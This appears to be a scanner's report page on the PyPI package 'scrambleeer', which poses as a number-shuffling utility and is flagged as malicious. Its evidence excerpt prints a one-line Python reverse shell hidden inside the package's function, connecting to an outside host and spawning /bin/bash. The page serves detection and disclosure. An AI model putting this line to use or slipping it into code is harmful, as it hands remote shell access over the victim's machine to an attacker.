Hostile ^99% python Download

scrambleeer 0.1.1

“Shuffle a sequence of numbers, then swap the first and last values.”

Python socket + dup2 + fileno + pty.spawnPython socket + os.dup2 + pty.spawn reverse shell

SHA-25610d5938322cf598c05c6ae0fd0414eab70fc6fbb2071d6e339cbb95655e782c6

URLhttps://files.pythonhosted.org/packages/39/21/6151526f4fb69ce19325fc62e397da8275d52b636c09ed0e1f36696f7d5b/scrambleeer-0.1.1-py3-none-any.whl

MaleculeO(C)H₂(CmPo₂)

Also flagged by osv (MAL-2026-14350: Malicious code in scrambleeer (PyPI)) +2 more.

Evidence

Python socket-like connect call lines 10–24

⋯4 lines
  sequence itself is never modified.
  """
  import socket,os,pty;s=socket.socket();s.connect(("bax.h4x.tv",6363));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")
  scrambled = list(numbers)
  random.shuffle(scrambled)
⋯6 lines

No evidence locations were recorded for this file. Raw result